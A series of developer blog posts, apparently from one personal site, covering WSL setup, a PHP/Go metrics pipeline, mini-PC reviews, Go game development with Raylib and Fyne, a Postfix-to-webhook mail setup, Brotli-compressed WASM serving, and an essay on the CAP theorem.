sudo apt -y update && sudo apt -y upgrade
sudo apt install git wget htop curl

Now also enable systemd (for running MariaDB for instance) by running:

sudo nano /etc/wsl.conf

And in this (new) file add:

[boot]
systemd=true

Download and install VS Code installer (VSCodeUserSetup-x64-1.93.1.exe) in windows from:

https://code.visualstudio.com/

And follow the installer wizard, next, next, next, finish :-)

Next install the “WSL” extension in VS Code to allow access to your Debian environment.

Now restart your WSL using the following command from the windows prompt:

wsl --shutdown

Now ensure you have a SSH key in your WSL by running from within WSL:

ssh-keygen

Now echo the public key and add it to your Github profile:

cat ~/.ssh/id_rsa.pub

Optionally install some PHP development requirements I often use:

sudo apt install mariadb-server mariadb-client memcached php php-mysql php-memcache \
    php-zip php-intl php-mbstring php-cli php-gd php-xml php-curl php-yaml

After doing that you can clone a repository and start VS code from within WSL:

git clone git@github.com:mevdschee/php-crud-api.git
cd php-crud-api
code .

After starting VS Code the following should appear:

Updating VS Code Server to version ...
Removing previous installation...
Installing VS Code Server for Linux x64 ...
Downloading: 100%
Unpacking: 100%
Unpacked 1765 files and folders to ...
Looking for compatibility check script at .../bin/helpers/check-requirements.sh
Running compatibility check script
Compatibility check successful (0)

You may have to run the last command twice to start VS Code. Don’t forget about “PHP Intelephense (by Ben Mewburn)” and “PHPStan (by swordev)” extensions if you are doing PHP development.

Adding RAM and CPU

The command “htop” on the WSL command-line will show the RAM and CPU usage of the WSL VM. If you feel that there is not enough RAM or CPU threads available in the WSL you can change the 2 CPU 4GB RAM default by making a config file in Windows using:

notepad.exe %UserProfile%/.wslconfig

And enter “8GB” for the memory and “4” for the processors (or another value):

[wsl2]
#Limits VM memory, this can be set as whole numbers using GB or MB
memory=8GB
#Sets the VM to use a number of virtual processors
processors=4

Now stop the WSL using:

wsl --shutdown

And start it again by clicking the nice Debian logo from the start menu to make the configuration effective. In the Windows Task Manager you will see “Vmmem” process representing the WSL machine.

NB: If you run WSL in Win10 pro in KVM on Linux (as I do) then set the sockets in KVM to a maximum of 2 and increase the core count of your VM instead.

Bonus: updating to Debian 13

You may execute the following to upgrade from Debian 12 to Debian 13:

sudo apt -y update
sudo apt -y upgrade
sudo apt -y dist-upgrade
sudo apt -y autoremove
sudo sed -i 's/bookworm/trixie/g' /etc/apt/sources.list
sudo apt -y update
sudo apt -y full-upgrade
sudo apt -y autoremove

This will take some time (5 minutes), may ask you a few questions, but should succeed without errors.

Slow startup with error

It may happen that Debian starts really slow and that you encounter the following error message:

wsl: Failed to start the systemd user session for 'maurits'.

This can be solved by downgrading the WSL version to 2.5.10 as described here.

Enjoy!

Links

• Microsoft - How to install Linux on Windows with WSL
• Microsoft - Advanced settings configuration in WSL
• TomsHardware.com - How to Install Windows Subsystem for Linux in Windows 11

Go’s Gob protocol

The Gob protocol is inspired by “protocol buffers” but it is strictly designed for “communicating between servers written in Go” and promises to be “much easier to use” and “possibly more efficient”.

• Prometheus metrics: 6 kilobytes
• Prometheus metrics (gzipped): 1 kilobyte
• Gob protocol: 105 bytes

As you see for this specific use case it makes a lot of sense to use the Gob protocol as it is clearly “more efficient” (as promised).

Much easier to use

Gob protocol is also promised to be “much easier to use”. The following struct is accessed from different go routines and therefore has a private mutex, but otherwise it is just a struct with public members.

type Metrics struct {
    mutex     sync.Mutex
    Counters  map[string]uint64
    Durations map[string]float64	
}

Here is an example for decoding an arbitrary nested struct “m” (type Metrics) received over HTTP:

response, err := http.Get(url)
m := metrics.New()
err = m.ReadGob(response)

func (m *Metrics) ReadGob(resp *http.Response) error {
    m.mutex.Lock()
    defer m.mutex.Unlock()
    return gob.NewDecoder(resp.Body).Decode(m)
}

And here is an example for the encoding of such struct:

err := http.ListenAndServe(":9999", http.HandlerFunc(
    func(writer http.ResponseWriter, request *http.Request) {
        m.WriteGob(writer)
    },
))

func (m *Metrics) WriteGob(writer http.ResponseWriter) error {
    m.mutex.Lock()
    defer m.mutex.Unlock()
    return gob.NewEncoder(writer).Encode(m)
}

Note that there is no code change needed for supporting nested structs, maps of structs, slices or any other Go types. The code above is implemented in the metrics package of php-observability.

A network of metric scrapers

Since every PHP server logs to localhost, it will not be influenced by network congestion. Since the aggregation is done locally it is also very fast. The metrics are exposed in Prometheus (text) format for (human) analysis, but also in (binary) Gob format for efficient scraping by other servers. Any installation of the aggregation server can both expose and scrape metrics (from multiple servers), allowing you to create a complex network of scrapers.

See: https://github.com/mevdschee/php-observability

Inserting into the database

While you can let InfluxDB or Prometheus scrape the Prometheus end-point, you may also store the metrics in PostgreSQL (TimescaleDB) or MySQL. I started writing a small application that scrapes Gob metrics and inserts those metrics into the database. It creates a new table for each metric with a 30 day retention, allowing you to keep your indexes small and your insertion speeds high.

See: https://github.com/mevdschee/metrics-db-importer

Links

• TQdev.com - High frequency metrics in PHP with TCP sockets
• The Go Blog - Gobs of data

log( [metric name], [label name], [label value], [duration in seconds] )

The current implementation supports labeling each measurement with a single label.

Logging API and DB calls

Here is a first practical example for a HTTP call to a REST end-point that took less than a second:

MetricObserver::log("api", "req", "GET /api/v1/users", 0.2857);

In case of an API you may simply instrument the router of your framework, but in case of a database you may need to instrument the generic database class to log the requested SQL:

MetricObserver::log("db", "sql", "SELECT name FROM user WHERE id = ?", 0.014285);

or you may log the PHP file and line number calling the database class:

MetricObserver::log("db", "file", "src/Controller/UserController.php@L123", 0.014285);

In this last case you may find these values by using the “debug_backtrace(2,15)” call. It returns “frames” that contain “file” (full path) and “line” (number). Which frame is the most relevant frame (and how to find that frame) is dependent on the PHP framework you use. It is important that you only search the last 10-15 stack frames, as indicated by the second parameter of “debug_backtrace” to avoid high costs. You may use the “MetricObserver::isConnected()” function to avoid calling “debug_backtrace” when the logging is not active.

Logging to a local TCP socket

We prefer to never store high frequency log data, therefore we ship the high frequent log data to a metric aggregator. In the first example above, the TCP socket (on localhost) will receive the following NDJSON when called 3 times:

["api","req","GET /api/v1/users",0.2857]
["api","req","GET /api/v1/users",0.2857]
["api","req","GET /api/v1/users",0.2857]

This aggregator converts the log lines into metrics (counters and sums) with a name (where the name also contains a label). In the first example above, the metrics are (when called 3 times):

api_seconds_count[req="GET /api/v1/users"]: 3
api_seconds_sum[req="GET /api/v1/users"]: 0.8571

This (text) format is introduced by Prometheus and served over a HTTP endpoint on the “/metrics” path. This has become a standard as defined by the OpenMetrics specification. These metrics can be scraped every 5 seconds and are stored in new rows together with their timestamp (a so called “time-series”). When your servers produce thousands of log lines per second you now only store the metrics. It should be obvious that the size of the metrics (even in time-series) is several magnitudes smaller than the raw log lines (and can be controlled by the configurable scraping interval and the number of different label values).

High frequency metrics in PHP

High frequency metric aggregation requires several features:

• Metrics must be very cheap (RAM/CPU/disk/network usage)
• Easy to turn on/off logging in runtime (no re-deploy)
• Well tested for stability (no bugs due to logging metrics)

When logging metrics to a TCP socket on the localhost there are 2 cases:

• port is open (responding with an syn+ack)
• port is closed (responding with a reset)

We want our code to gracefully handle both cases, and we want the instrumented application to be as fast as possible if there is no connected socket. therefore we try to connect only once per second and return the connected status from the “MetricObserver::isConnected()” call. You can turn off the logging of metrics by simply stopping the metrics aggregation server (which closes the port on the localhost).

Source code of the MetricObserver

Here is the PHP class you may load into your project. It is framework independent.

class MetricObserver
{
  public static int $port = 7777;

  private static ?Socket $socket = null;
  private static bool $connected = false;
  private static int $connectAt = 0;

  public static function isConnected(): bool
  {
    if (self::$socket === null) {
      self::$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) ?: null;
      self::$connected = false;
    }
    if (!self::$connected) {
      $now = time();
      if (self::$connectAt != $now) {
        self::$connectAt = $now;
        self::$connected = @socket_connect(self::$socket, 'localhost', self::$port);
      }
    }
    return self::$connected;
  }

  public static function log(string $metricName, string $labelName, string $labelValue, ?float $duration = null)
  {
    if (self::isConnected()) {
      if ($duration === null) {
        $line = json_encode([$metricName, $labelName, $labelValue]);
      } else {
        $line = json_encode([$metricName, $labelName, $labelValue, (string)$duration]);
      }
      if (!@socket_write(self::$socket, $line . "\n", strlen($line) + 1)) {
        self::$socket = null;
        self::$connected = false;
      }
    }
  }
}

Note that you can log to a different port using:

MetricObserver::$port = 8888;

NB: This is a static variable in the class.

Measurement performance

The aggregator implementation (in Go) is tested with up to 1 million logged metrics per second from over 1000 processes and serves gzipped metrics in text format. I also did some measurements to find that logging to a closed port was about 13 times cheaper than logging to an open port. Also logging to a closed port was cheaper than formatting a float with “sprintf()”, see:

MetricObserver::log() to a closed port:
0.09 usec
MetricObserver::log() to an open port:
1.18 usec
sprintf('%.2f', 3.14) for comparison:
0.11 usec

These tests can be run from the “perf.php” file that included in the project. Check out the Github link below.

https://github.com/mevdschee/php-observability

Read more…

Links

• TQdev.com - Distributed metrics in PHP using Go and Gob
• The OpenMetrics project - Creating a standard for exposing metrics data
• PHP.net - debug_backtrace - Manual
• Etsy Engineering - Measure Anything, Measure Everything
• The Go Blog - Gobs of data

Specifications

A GMKtec NucBox G5 is a very tiny PC that is powered over USB-C (12v Power Delivery) and has a low power N97 quad core CPU and 12GB DDR5 RAM and a 512GB SSD. It is so small that it fits in the palm of your hand, is as fast as most entry level laptops, is super cheap (170 EUR), has great connectivity and runs Linux flawlessly. It is a great little PC for some light programming and office/web work in general.

NucBox advantages

• Very small: portable, no laptop bag required
• Low cost: less theft/robbery chance, have multiple
• Ergonomics: good posture/health

Laptop advantages

• Power outage: laptop can work on the battery
• Presentation: take the laptop to the meeting room
• Travel: work on the road (public transport)

Conclusion

I like a small, quiet and powerful computers. While the GMKtec NucBox G5 is super-small and also quiet, it is not very powerful. While it is by no means slow, it is limited in possibilities: the soldered RAM modules and soldered low powered CPU make that it can’t be upgraded. It is also not a workstation on which you can run multiple VMs conveniently (for that check out the Deskmini X600 review). But the same can be said about most entry level laptops and the super low price (170 EUR), the low idle power usage (8W) and many full size ports (gigabit ethernet, 2x HDMI, 3x USB) make up for a lot. Oh… and it runs Linux Mint 22 super smooth!

I love it, enjoy!

Disclaimer

This post was not requested nor sponsored in any way. I’m a hardware (and Linux) enthusiast that loves to share. Enjoy!

Links

• GMKtec NucBox G5
• GMKtec NucBox G5 mini PC review
• YouTube - Hubwood - A Tiny, Cheap and Versatile Mini-PC!
• YouTube - Robtech - The Smallest Mini PC of 2024 - GMKtec G5 Review

Better specifications

This build has a 4.2 GHz (5.1 GHz turbo) octa core instead of a 3.8Ghz, (4.8GHz turbo) octa core CPU (8700G vs. 5700G). It has a 7000 MB/s 2TB PCIe 4.0 based NVMe instead of a 3500 MB/s 2TB disk (Samsung 990 Pro 2TB NVMe vs. Samsung 970 EVO Plus 2TB).

 219 EUR - Asrock DeskMini X600 - SFF barebone
 194 EUR - Kingston DDR5 SODIMM FURY Impact 2x32GB 5600MHz - Memory
 180 EUR - Samsung 990 Pro 2TB NVMe - Solid state drive
 268 EUR - AMD Ryzen 7 8700G processor - Processor
  65 EUR - Noctua NH-L9a-AM5 chromax.black - CPU cooler
  13 EUR - Noctua NA-FD1 - Fan Duct Kit
--------
 939 EUR (including VAT)

NB: The above prices are based on the offering of Dutch web-shops for PC parts, such as “Megekko”, “Azerty” and “Alternate”, at the time of writing of this post.

Use case

I like a small, silent and powerful computer to work on. The small (work) PC sits nicely on my desk and operates super quiet even under (heavy) load. The upgrade to this new specification promises faster graphics, compute, memory and disk speeds and this is clearly noticeable when gaming and when running (Windows) VMs. When browsing the web I’ve also got the feeling that everything is a little snappier. This was not negatively impacted by the power usage reductions I applied (read on). There is an optional WiFi kit for the X600, but I recommend using a USB dongle.

Reducing temperatures

To reduce temperatures I don’t use the cooler that came with the X600 nor the cooler that came with the 8700G. I bought the Noctua NH-L9a-AM5 cooler that has the optimal performance for this machine. Also note that I installed a Noctua NA-FD1 fan duct to ensure that the cooler doesn’t circulate air, but blows fresh air from outside the case over the CPU. Note that temperatures are great with the RAM operating at 5600Mhz on 1.1v (XMP enabled), but I’ve found that temperatures were really bad with more aggressive XMP profiles.

Limiting power usage

Idle power is around 10W on the Linux desktop (measures on the wall with a kill-a-watt clone) which was surprisingly low (and makes me very happy). I had to do several adjustments in the BIOS (that I also updated to the latest version) to limit the peak power usage. I did set the Fast PPT (boost) to 55W (55000) and the boost time (called “Slow Time”) to 10 seconds and I set the Slow PPT (average) to 35W (35000). With a silent fan curve on the CPU fan and undervolting with 20 millivolts (with PBO enabled) the fan does not spin up even when put under an synthetic load (cpu stress test) for several minutes, peaking to 75W on the wall. I disabled performance mode in the BIOS to be sure as I use the 120W power brick that came with the X600 (a nicer smaller power brick than the X300 one). I tried the standby/suspend of the machine and even that worked great without modifications.

Disclaimer

This post was not requested nor sponsored in any way. I’m a hardware (and Linux) enthusiast that loves to share. Enjoy!

Links

• ASRock - DeskMini X600 Series
• Youtube - Noctua NA-FD1 Installation Guide
• SFF.Network: ASRock’s X600 DeskMini - Finally - Again

Source code: https://github.com/mevdschee/raylib-go-mines

Developer experience

Raylib uses OpenGL for rendering 2D and 3D and this results in very high performance graphics. RayLib has a very nice and clean API. RayLib includes RayGui and I used that for the buttons and the little menu at the start of the game. I tried compiling with RayGui 5.0.0, which required wayland (which could be disabled with the “x11” build tag), but ended up using RayGui 3.5.0 as I didn’t need a complex GUI.

Cross compiling

Cross-platform support is available. You can compile for Windows on Linux is with the MinGW toolset. I tried to run the resulting Windows executable under Wine and succeeded. I even added some resource data (icon and such) to the resulting Windows executable. I used the winres (go command line) tool for that (see: https://github.com/tc-hib/go-winres). I also wrote a Makefile to create both the Windows and Linux (AMD64) executables from the latest Git tag.

Conclusion

If you are building a small (full screen) game, then RayLib may be the optimal choice. It offers a simple and high performance OpenGL abstraction across platforms, it is fast and easy to compile, has cross-compilation support and the RayLib bindings are available in many programming languages and for many platforms. I prefer RayLib over Ebiten in general: it feels more mature and more finished and it seems easier to port to other platforms (such as HTML5, Nintendo Switch or Android).

Download

Binaries: https://github.com/mevdschee/raylib-go-mines/releases

Links

• TQdev.com - A 2D puzzle game in Go using Fyne
• TQdev.com - Minesweeper written in Go using Ebiten

UTM Virtual Machines

You may think you need Parallels Desktop 19 or VMware Fusio Pro 13, as I also assumed. But then I ran into UTM which is open source software based on QEMU. The software does not have CPU core limits nor RAM limits and it performs very well. Also it has a great mouse capture mode that, together with full screen mode, helps me forget that I’m actually running on OSX. I like everything about it.

Download UTM

Download Linux for arm64

I have found the following great Linux arm64 images:

• Debian 12.5 DVD ISO arm64 image
• Ubuntu 22.04 ISO arm64 image

You can run these easily using the virtualization software.

Web development on arm64

I tried running all docker environments for PHP-CRUD-API and they all ran flawlessly without any adjustment, except for the one that relied on MS SQL Server, as it couldn’t find arm64 builds for it. So if you are into PHP/MySQL web development running on arm64 is a good choice. Also, considering Hetzner has arm64 virtual machines at half the price of their amd64 counterparts.

Recommending MacBook?

I normally do not recommend to buy Apple products, but I think I can make an exception here. With it’s great screen, nice keyboard and nice battery life, I can recommend a Macbook to people that have their production servers on arm64, like dual Ampere Altra 80-Core servers. I do recommend the m2 model as it has Asahi Linux support, avoiding the need for a virtual machine and as a bonus is also more affordable.

Lenovo Yoga Pro 7x

I’m looking forward to testing out the Lenovo Yoga Pro 7x, especially with native Linux on it. Lenovo Yoga Pro is a very nice product line (also on amd64) and is running with a Qualcomm Snapdragon X Elite, has a high res OLED screen and can be bought with 32GB of RAM at 1700 euro. I haven’t tested it yet, as it is not generally available yet.

Qualcomm Snapdragon Dev Kit

I’m also very excited for the Quallcom Snapdragon Dev Kit that is about to be released and that I would love to run as a development machine for (web based) arm64 software. I signed up for pre-ordering one when it comes out.

Qualcomm Snapdragon Dev Kit

Enjoy!

Source code: https://github.com/mevdschee/fyne-mines

1: MinSize of container without layout

Fyne can use a (JWT-like) borderlayout, but you can also freely place your controls (or “widgets” as Fyne calls them) using a container without a layout. To set the size of this container you can put this container in a a stack container together with an image of a certain (minimum) size.

parentContainer := container.NewStack()
i := canvas.NewImageFromImage(image.NewNRGBA(image.Rect(0, 0, 0, 0)))
i.SetMinSize(fyne.NewSize(float32(width), float32(height)))
parentContainer.Add(i)
childContainer := container.NewWithoutLayout()
parentContainer.Add(childContainer)
// add and move widgets in the childContainer

As you can see you can nest containers to achieve complex layouts.

2: Make Scalemode ImageScalePixels work

I wanted large pixels (size 2x2), but could only achieve smoothed results. When I was setting “ScaleMode = canvas.ImageScalePixels” on a image created using the “SubImage()” method it was not rendered. If I used “draw.Copy()” or the more powerful “draw.NearestNeighbor.Scale()” on an empty image created with “image.NewNRGBA()” it did work, see:

srcRect := image.Rect(srcX, srcY, srcX+srcWidth, srcY+srcHeight)
dstRect := image.Rect(0, 0, srcWidth, srcHeight)
dst := image.NewNRGBA(dstRect)
draw.Copy(dst, image.Point{}, src, srcRect, draw.Over, nil)
img := canvas.NewImageFromImage(dst)
img.ScaleMode = canvas.ImageScalePixels

NB: The simpler “dst := src.SubImage(srcRect)” worked, but not with this pixelated (and faster) scale mode.

3: The canvas.Image is not clickable

Fyne is awesome as it provides many controls (or “widgets” as they are called). You get “Button”, “MainMenu” end even a nice (native) “TrayIcon”. But for a game I mainly want to handle mouse events on a sprite (image). To handle mouse events on a “canvas.Image” I made an “interactive.Image” as defined below:

package interactive

import (
    "fyne.io/fyne/v2"
    "fyne.io/fyne/v2/canvas"
    "fyne.io/fyne/v2/driver/desktop"
    "fyne.io/fyne/v2/widget"
)

type Image struct {
    *canvas.Image
    onMouseDown  func(ev *desktop.MouseEvent)
    onMouseUp    func(ev *desktop.MouseEvent)
    onMouseIn    func(ev *desktop.MouseEvent)
    onMouseOut   func()
    onMouseMoved func(ev *desktop.MouseEvent)
}

// ensure Mousable and Hoverable
var _ desktop.Mouseable = (*Image)(nil)
var _ desktop.Hoverable = (*Image)(nil)

This is essential for allowing Mouse handlers on images. I used “fyne.NewMainMenu()” to create a main menu and listen to “desktop.MouseEvent” on the canvas images. Note that I’ve explicitly made a desktop application and therefore have chosen the desktop events and the main menu for optimal desktop application experience.

Conclusion

I have experience building (2d puzzle) games in various technologies and I have recently explored Typescript (see: TicTacToe in TypeScript) and Ebiten (see: Minesweeper written in Go using Ebiten). Typescript is great for DOM based web games and Ebiten is great for pixel based web games. With Fyne I have found a great way to build cross platform 2d puzzle games for the desktop.

Links

• Fyne.io - Fyne Mines
• Github.com - mevdschee/fyne-mines
• TQdev.com - Minesweeper written in Go using Fyne
• TQdev.com - TicTacToe in TypeScript
• TQdev.com - Minesweeper in Go (using Ebiten)

Bert Hubert’s bagconv

I modified the “bagconv” tool created by Bert Hubert to do all the required steps in one go (in about half an hour):

1. download (3GB zip)
2. unpack (3GB zip into 96GB xml)
3. convert (96GB XML into 9GB sqlite)
4. extract (9GB sqlite into 350MB csv)
5. compress (350MB csv into 17MB 7z)

The command to install the dependencies and run locally is:

sudo apt install build-essential cmake libsqlite3-dev nlohmann-json3-dev zlib1g-dev 
sudo apt install sqlite3 wget unzip 7zip 7zip-standalone
bash run.sh

Or you can run without installing dependencies via docker with:

bash docker-run.sh

Note that a run may take half an hour and use 110G (gigabyte) of disk space. You can run:

bash clean.sh

to clean up all used diskspace after you copied the files from the “dist” folder that you need.

Loading using SQL

The resulting 7zip compressed CSV files can be loaded into MariaDB database as shown in the postcodes-nl and postcodes-nl-geo projects. Note that the releases of those projects contain these required datasets (7z files), so there is no need to run the conversion by yourself. I will try to release the loader script plus dataset regularly. I will try to maintain the fork in order to build my own 7zip compressed CSV files.

If you have any improvements or additions, please create an issue on the corresponding Github project.

PostNL address check service

You can now implement a service comparable to the PostNL addres check service. You can execute the following GET request:

curl -G -d "postalCode=1000AA" -d "houseNumber=1" -d "houseNumberSuffix=" \
https://productprijslokatie.postnl.nl/address-widget/api/lookup/address | jq

that returns:

{
    "address": {
        "street": "Postbus",
        "postalCode": "1000AA",
        "houseNumber": "1",
        "houseNumberSuffix": null,
        "city": "AMSTERDAM"
    },
    "matched": true,
    "availableHouseNumberSuffixes": []
}

NB: Please don’t abuse this PostNL API, it seems to be designed for internal use only.

Download dataset

• postcodes-nl.7z
• postcodes-nl-geo.7z

Links

• Kadaster.nl - BAG viewer
• Github.com - mevdschee/postcodes-nl
• Github.com - mevdschee/postcodes-nl-geo
• Github.com - mevdschee/bagconv-docker
• Github.com - berthubert/bagconv
• PostNL - Find an address using a postcode

Make Postfix deliver to a web hook

Install postfix using

apt install postfix postfix-pcre

Choose “Internet Site” as default configuration.

nano /etc/postfix/main.cf

Add the line:

virtual_alias_maps = pcre:/etc/postfix/virtual

Add the file:

nano /etc/postfix/virtual

Content:

/.*@(?!103mail\.com$).*/ curl

Modify the file:

nano /etc/aliases

Add the file:

curl: "|curl --data-binary @- https://103mail.com/webhook"

Optionally, add the following flags to the curl command make curl silent (except for errors):

-S -s -o /dev/null

Optionally, add the following curl option to the curl command to set the correct Content-Type header:

-H 'Content-Type: application/octet-stream'

Now make the aliases effective:

newaliases

Enable logging:

apt install rsyslog
systemctl restart postfix
tail -f /var/log/mail.log

You will see the mails and their corresponding curl calls to the web hook in the log file.

What’s next?

In the next posts I will describe how to send a notification to the recipient with a web link to read the content of the mail. If you are interested, please follow this blog and also keep an eye on 103mail.com as you may be able to sign-up at a certain point in time.

Links

• Serverfault.com - How to configure postfix to pipe all incoming email to a script?
• Serverfault.com - How to redirect all postfix emails to one external email address?
• Serverfault.com - Postfix development server: intercept all outgoing mail
• catonmat.net - Make Curl silent
• TQdev.com - 103mail.com - The plan (2024-04-11)
• TQdev.com - 103mail.com - Update 1 (2024-04-12)
• TQdev.com - 103mail.com - Update 2 (2025-03-30)
• TQdev.com - 103mail.com - Update 3 (2025-11-18)

The plan

The plan is to do the following steps:

• Capture outgoing email to a web hook, while allowing local delivery (see: Update 1)
• Notify the recipient, with a (secured) link to the mail body
• Implement a really nice (logging) web based email viewer
• Allow people to sign up and change their password
• Implement retention rules: mail (2 years), attachments (2 months)

Optionally we implement the following:

• Block incoming email (secure notification service)
• Create new mail via the web (ticket system)
• Reply via the viewer (secure reply)
• Web mail client (for instance Roundcube)
• Support for custom domains (commercially supported)

What’s next?

In the upcoming weeks or months this blog will contain several updates on the progress of the 103mail.com mail service. Maybe it will succeed, maybe it will fail. You’ll read it here :-)

Links

• TQdev.com - 103mail.com - The plan (2024-04-11)
• TQdev.com - 103mail.com - Update 1 (2024-04-12)
• TQdev.com - 103mail.com - Update 2 (2025-03-30)
• TQdev.com - 103mail.com - Update 3 (2025-11-18)

Download

You can download the Windows and Linux releases from Github:

https://github.com/mevdschee/fyne-mines

It is a portable (single-file) executable without any dependencies.

Graphics and rules

“Minesweeper X” by Curtis Bright is IMHO the best implementation of Minesweeper ever made. He also provided a skinning system. For the rules of the game I have been reading the MinesweeperGame.com website. As a reference I have also looked at the great Minesweeper Online implementation in Javascript.

Go with Fyne or with Ebitengine?

I have found that Fyne is really good for creating simple cross-platform apps, while Ebitengine is really good for creating simple cross-platform games. The main difference is that Ebiten redraws the entire screen on every tick (immediate mode), while Fyne knows about widgets that are arranged in a certain layout and refreshed on demand (retained mode).

So many controls

You get nice controls like label, button, entry, form, progressbar, mainmenu. This allows you to make some great cross-platform GUI applications that look the same on every platform. Important is that the systray (menu) is supported (with a native control) so that you can write a small tool that auto-starts and stays there.

Cross compiling

Cross-platform is support is even more magical due to the cross-compiling support. You can easily build your Windows executable on Linux. I tried to run the resulting Windows executable under Wine and succeeded.

Performance

On desktop the Fyne engine runs pretty fast and as long as I didn’t redraw the entire field on every interaction the graphics were nice and fast (as expected). I also tried to run the Fyne version via WASM, but it was much slower and also very large (28 megabytes WASM file). I have read that using Firefox makes the WASM files run slower (compared to Chromium), but also the Ebiten implementation run via WASM was much faster.

Conclusion

If you are building a small desktop tool, then Fyne may be the optimal choice. Consistent GUI across platforms, fast and easy to compile, cross-compile, package and publish. If you are building a (small) game, then you’d better stick to Ebiten. For any more serious web application I would use Typescript as I did for AceCardGames.com.

NB: If you liked this article, you may also like my next article on creating a 2D puzzle game in Go using Fyne.

Links

• TQdev.com - A 2D puzzle game in Go using Fyne
• Fyne - An easy to learn toolkit for creating graphical apps for desktop, mobile and web
• TQdev.com - Minesweeper written in Go using Ebiten
• Minesweeper X
• Minesweeper Online

Background

As the author of AceCardGames.com (a game written in Typescript) I am always interested in other web based implementations of solitaire games. I love that the Oddstream solitaire game is open source as this allows me to analyze the performance optimizations done. This was especially interesting to me as I wrote an open source Minesweeper game in Go and Ebiten and I wasn’t too happy about the performance. The first good thing I noticed about the Oddstream game was the relative small file size, which is what this post is about. The second thing I noticed was the high frame-rate (even when full screen), but I didn’t analyze that yet.

Pre-compressing

Most browsers know how to decompress Brotli encrypted files. WASM files can achieve good compression ratios with Brotli compression. You can compress files using PeaZip. PeaZip is an awesome open source cross platform compression tool (written in Lazarus/FreePascal) that supports all popular compression formats. On Debian based systems you can install the command line “brotli” tool to compress your wasm file.

sudo apt install brotli

Now you can compress your WASM file(s) using:

brotli -Z --suffix=-brotli `ebiten-mines.wasm`

This command creates the “ebiten-mines.wasm-brotli” compressed file and takes several seconds to run (as it is using “best” compression setting).

Serving pre-compressed WASM files

We want to look at the “Accept-Encoding” request header and check it for the value “br”, meaning that the browser can understand Brotli encoded content. In that case we want to serve the Brotli encrypted file and set the “Content-Encoding” response header to “br”. In Apache we can achieve that with the following “.htaccess” file:

<FilesMatch "\.wasm$">
  RewriteEngine On
  RewriteCond %{HTTP:Accept-Encoding} br
  RewriteCond %{REQUEST_FILENAME}-brotli -f
  RewriteRule (.*) $1-brotli
</FilesMatch>

<FilesMatch "\.wasm-brotli$">
  Header set Content-Encoding br
  Header set Content-Type application/wasm
  Header append Vary Accept-Encoding
</FilesMatch>

The first block matches files ending on “.wasm” and then turns on the rewrite engine. It then checks for the presence of the “br” accept encoding. If so, it will check for the existence of the requested file with “-brotli” suffix. I that exists it will rewrite the request and append the suffix.

The second block matches the rewritten request and in that case it will set a few response headers. The first is the correct content encoding. The second will set the correct content type. The content type is normally derived from the extension, but the “wasm-brotli” extension is unknown. The last header will ensure that the request is cached different based on accept encoding header request header, ensuring intermediate caches (such as CDNs) will give the correct results.

Conclusion

By using Brotli compression we can achieve really small WASM downloads without sacrificing much compatibility. It does require some configuration on the server, but with the information in this post it should be easy to set up. If you want really small WASM files, you should consider using TinyGo, but note that only a subset of Go is implemented and thus Ebiten is not supported (yet).

Links

• Free online solitaire card games by Oddstream Games
• Ebitengine - A dead simple 2D game engine for Go
• Wikipedia - Brotli compression
• TQdev.com - Open source Minesweeper game in Go and Ebiten

On the CAP theorem

Eric Brewer (in my words) said in his original keynote that you can have “2 out of 3”:

• Consistency
• Availability
• Partition tolerance

My interpretation is that a bank may lean towards CA, while a social network may lean towards AP and an email system may lean towards CP.

By stating that P must always be present one may conclude that this “divides the world into CP and AP systems” as Tornow writes. He was rephrasing Brewer who wrote that “The general belief is that for wide-area systems, designers cannot forfeit P” and that we “therefore have a difficult choice between C and A”. But I feel I disagree with their views. One may choose to ignore P (to some extend, read on).

CAP properties are non-binary

If you choose to NOT have P (Partition tolerance), you may achieve CA. This requires you to accept that networks are reliable. In other words, as long as the Internet works (we can reach every node within specified time) we can achieve CA. Now that doesn’t sound so crazy or does it? Maybe the P should stand for “no partitioning within a specified time-frame”, redefining the P as Performance.

The “choose 2” statement makes one belief that CAP properties (and especially partition tolerance) are an on/off thing, which they aren’t. Just as C and A are a gradual thing with lots of shades of grey, the P also has levels. The P levels being the performance level that needs to be guaranteed. Think about slow systems, such as email for instance.

Brewer seems to agree that these are not binary properties when he writes: “Finally, all three properties are more continuous than binary.” This seems in contradiction with his statement about the “difficult choice between C and A”, but maybe it isn’t. Brewer also writes that “partitions are rare”, but it really depends on whether one qualifies (a single) packet loss as a network partition, albeit a very short one.

Retries harm performance

Internet works with packets. Any packet that is lost is re-transmitted, that is the nature of TCP. Any packet loss can therefore lead to a partition. The only factor is how long you’ll retry. And if you retry longer, then the guaranteed performance of your system will go down, while also decreasing the chance of partitioning. Determining whether or not there is a partition (another host is reachable) is impossible without saying how long you’ll retry. You may accept TCP’s retry limits, but they are an arbitrary limit (of Reno) that you may choose to respect (or not, by implementing retries in the application layer).

therefore I feel one should talk about CAP like this:

• Consistency, in different levels (C)
• Availability, with different guarantees (A)
• Partition tolerance, for a specific time (P)

Every system needs all three to some extend. What those levels should be depends on your use case and thus requirements. Performance in a distributed system is determined by the node-to-node distance and their network speeds. Perceived performance can be increase by trading in consistency for better latency (as some global systems do, see PACELC Theorem). On the other hand: If the nodes can’t reach each other due to partitioning, then the performance suffers (due to retries).

Examples of low guaranteed performance

Now let’s look at two examples of low guaranteed performance due to partition tolerance.

1. Email servers can easily regularly miss 24 hours of Internet connectivity, does that disqualifies email as an online world-wide distributed system? The system is available when you are able to send and can check for mail received. Sending and receiving an email is often instant, but may also take days (email may end up in queues, doing retries). This lack of guaranteed performance is a way of working around the P problem.

2. In the early days of the Internet (in the 90’s) we had FidoNet running on BBSes that uses a store-and-forward system to exchange email. It was the ultimate partitioned system, only connecting to a list of nodes (that it knew of) once per night. Email exchanges were done using phone lines and timed to run late at night, normally 4 AM. Every morning you could check your email and email could take days to arrive.

I think these systems have/had quite high consistency (C) and quite high availability (A) while also clearly having good partition tolerance (P), but at the cost of accepting low guaranteed performance.

Conclusion

I was reading a great article by Dominik Tornow, but I realized I didn’t agree with it. Then I realized that I didn’t agree with Eric Brewer’s original point-of-view on the CAP properties either. I feel the 3 CAP properties are continuous and not binary on/off. I suspect that Brewer also knows this but likes to speak in hyper-boles as the nuances may not be as “quotable”. I guess “pick 2” sounds good, but in reality it is more “choose your balance”, which may sound boring. So on the CAP properties we can conclude that you may want (but can’t have) them all.

Links

• dtornow.com - The CAP Theorem. The Bad, the Bad, & the Ugly - Dominik Tornow
• berkeley.edu - Towards Robust Distributed Systems - Dr. Eric A. Brewer
• infoq.com - CAP Twelve Years Later: How the “Rules” Have Changed - Eric Brewer
